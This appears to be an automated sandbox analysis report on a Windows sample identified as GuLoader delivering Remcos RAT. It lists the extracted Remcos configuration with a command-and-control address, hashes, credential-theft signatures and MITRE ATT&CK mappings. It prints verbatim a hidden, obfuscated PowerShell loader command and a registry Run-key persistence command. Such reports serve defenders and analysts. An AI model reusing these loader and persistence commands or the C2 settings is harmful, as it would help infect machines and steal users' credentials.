Analysis
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max time kernel
147s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
26-09-2024 02:25
Static task
static1
Behavioral task
behavioral1
Sample
c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe
Resource
win10v2004-20240802-en
General
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Target
c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe
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Size
971KB
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MD5
7bd1cce43f6b48c8ddd492e5711fd17f
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SHA1
3f650d8993c542682aa61c725ea1bb4ee93d259a
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SHA256
c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b
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SHA512
fe804b78cd734192664366364b099a5676d58101b9fe03c40c925cfe1cc202a99e04094d0fa93338ed831015d7ccd2ede88f04ab3cf6410542853a5a228face2
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SSDEEP
12288:5Ly0SryvXRpHnez0SBkasZa0kITLwn096zdZEkINz3WSV3:5Ly0SG/zHMBbsZadi80qZgNz3R
Malware Config
Extracted
remcos
Rem_doc2
107.173.4.16:2404
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-DSGECX
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
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Detected Nirsoft tools 8 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
resource yara_rule behavioral2/memory/2284-71-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/4720-85-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/1252-84-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/4720-87-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/4720-83-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/1252-80-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/2284-69-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/2284-90-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 2 IoCs
Password recovery tool for various email clients
resource yara_rule behavioral2/memory/1252-84-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView behavioral2/memory/1252-80-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 3 IoCs
Password recovery tool for various web browsers
resource yara_rule behavioral2/memory/2284-71-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral2/memory/2284-69-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView behavioral2/memory/2284-90-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3240 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Control Panel\International\Geo\Nation Conspect124.exe -
Executes dropped EXE 3 IoCs
pid Process 2284 Conspect124.exe 1252 Conspect124.exe 4720 Conspect124.exe -
Loads dropped DLL 1 IoCs
pid Process 3860 Conspect124.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts Conspect124.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-945322488-2060912225-3527527000-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Begunstigelses% -windowstyle minimized $Hjtryksryg=(Get-ItemProperty -Path 'HKCU:\\Forseglingens\\').Drenching;%Begunstigelses% ($Hjtryksryg)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 3860 Conspect124.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 3240 powershell.exe 3860 Conspect124.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 3240 set thread context of 3860 3240 powershell.exe 91 PID 3860 set thread context of 2284 3860 Conspect124.exe 96 PID 3860 set thread context of 1252 3860 Conspect124.exe 97 PID 3860 set thread context of 4720 3860 Conspect124.exe 98 -
Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\omdigtendes.udd c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\resources\villan\Knastakslerne.ini c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe File created C:\Windows\brandbombernes.lnk c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe File opened for modification C:\Windows\Fonts\knytt\Ballistics.mus c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Conspect124.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language reg.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Conspect124.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Conspect124.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Conspect124.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 4528 reg.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
pid Process 3240 powershell.exe 3240 powershell.exe 3240 powershell.exe 3240 powershell.exe 3240 powershell.exe 3240 powershell.exe 3240 powershell.exe 3240 powershell.exe 3240 powershell.exe 2284 Conspect124.exe 2284 Conspect124.exe 4720 Conspect124.exe 4720 Conspect124.exe 2284 Conspect124.exe 2284 Conspect124.exe -
Suspicious behavior: MapViewOfSection 4 IoCs
pid Process 3240 powershell.exe 3860 Conspect124.exe 3860 Conspect124.exe 3860 Conspect124.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 3240 powershell.exe Token: SeDebugPrivilege 4720 Conspect124.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2368 wrote to memory of 3240 2368 c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe 82 PID 2368 wrote to memory of 3240 2368 c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe 82 PID 2368 wrote to memory of 3240 2368 c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe 82 PID 3240 wrote to memory of 3860 3240 powershell.exe 91 PID 3240 wrote to memory of 3860 3240 powershell.exe 91 PID 3240 wrote to memory of 3860 3240 powershell.exe 91 PID 3240 wrote to memory of 3860 3240 powershell.exe 91 PID 3240 wrote to memory of 3860 3240 powershell.exe 91 PID 3860 wrote to memory of 4924 3860 Conspect124.exe 92 PID 3860 wrote to memory of 4924 3860 Conspect124.exe 92 PID 3860 wrote to memory of 4924 3860 Conspect124.exe 92 PID 4924 wrote to memory of 4528 4924 cmd.exe 94 PID 4924 wrote to memory of 4528 4924 cmd.exe 94 PID 4924 wrote to memory of 4528 4924 cmd.exe 94 PID 3860 wrote to memory of 2284 3860 Conspect124.exe 96 PID 3860 wrote to memory of 2284 3860 Conspect124.exe 96 PID 3860 wrote to memory of 2284 3860 Conspect124.exe 96 PID 3860 wrote to memory of 1252 3860 Conspect124.exe 97 PID 3860 wrote to memory of 1252 3860 Conspect124.exe 97 PID 3860 wrote to memory of 1252 3860 Conspect124.exe 97 PID 3860 wrote to memory of 4720 3860 Conspect124.exe 98 PID 3860 wrote to memory of 4720 3860 Conspect124.exe 98 PID 3860 wrote to memory of 4720 3860 Conspect124.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe"C:\Users\Admin\AppData\Local\Temp\c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b.exe"1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2368 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Headcloths=Get-Content 'C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\Papyr.paa';$Antinovels=$Headcloths.SubString(57477,3);.$Antinovels($Headcloths)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3240 -
C:\Users\Admin\AppData\Local\Temp\Conspect124.exe"C:\Users\Admin\AppData\Local\Temp\Conspect124.exe"3⤵
- Checks computer location settings
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3860 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Begunstigelses% -windowstyle minimized $Hjtryksryg=(Get-ItemProperty -Path 'HKCU:\Forseglingens\').Drenching;%Begunstigelses% ($Hjtryksryg)"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4924 -
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Begunstigelses% -windowstyle minimized $Hjtryksryg=(Get-ItemProperty -Path 'HKCU:\Forseglingens\').Drenching;%Begunstigelses% ($Hjtryksryg)"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Modifies registry key
PID:4528
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C:\Users\Admin\AppData\Local\Temp\Conspect124.exeC:\Users\Admin\AppData\Local\Temp\Conspect124.exe /stext "C:\Users\Admin\AppData\Local\Temp\pinaqtxyk"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2284
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C:\Users\Admin\AppData\Local\Temp\Conspect124.exeC:\Users\Admin\AppData\Local\Temp\Conspect124.exe /stext "C:\Users\Admin\AppData\Local\Temp\zcssrmhsxooo"4⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:1252
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C:\Users\Admin\AppData\Local\Temp\Conspect124.exeC:\Users\Admin\AppData\Local\Temp\Conspect124.exe /stext "C:\Users\Admin\AppData\Local\Temp\cfxdkesulwgbedh"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4720
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Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
971KB
MD57bd1cce43f6b48c8ddd492e5711fd17f
SHA13f650d8993c542682aa61c725ea1bb4ee93d259a
SHA256c5636797b8bad3e9ff18f51d269ace0948112d9ff03a9900a174687fec4bae3b
SHA512fe804b78cd734192664366364b099a5676d58101b9fe03c40c925cfe1cc202a99e04094d0fa93338ed831015d7ccd2ede88f04ab3cf6410542853a5a228face2
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD518db1829b27eaeed163c211f5d179d72
SHA14442332494cba1e012f8876ecac42126ba995bc6
SHA256610c5ee3f0e63441521d26bc477c9618a4c5f86e93d31b31890680c69e3ecc3d
SHA512123d68b2c84f7a52d15faa212c06f33b04a55585e2aeb16bb14df95b18c0bcf31933e5bf0c736c90bc054b9527fccb046540d3302a0f149ebeed7c6bcca0b986
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Filesize
342KB
MD57e58d69270577649e3fec5909c0e0f20
SHA1c92de1cdd263a8afab112624f7fe3dd991b11bc3
SHA256d9271baaae1e38c317ab57e2e2ca4a0f3448b23adb16af5894f0a55f3ccf5728
SHA512b1c38694c80459b66dc7a34017d6f6a11c57251e9eb6e4f96d14bde9917b0b4d3d85b2875aaf550ce2159dc119ede91705e0a4ab9a7ff78d81f4d20110667ee4
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Filesize
56KB
MD521f8b55eff5453c6e94223b12647704a
SHA18938162c626c171d76f37deebc2534e53d1870ed
SHA2566d09c0544b4419ff08386626e6609b03036c999da12afb6ad3f1beb2673c0894
SHA512e87a707edc2147a63e49900446cdf3eaab287b71b1ea0779a2dc4d696b543692b8e9d85e510b8343f0083f25f8df8349ce68010fec40029d6e09151a98fa92f3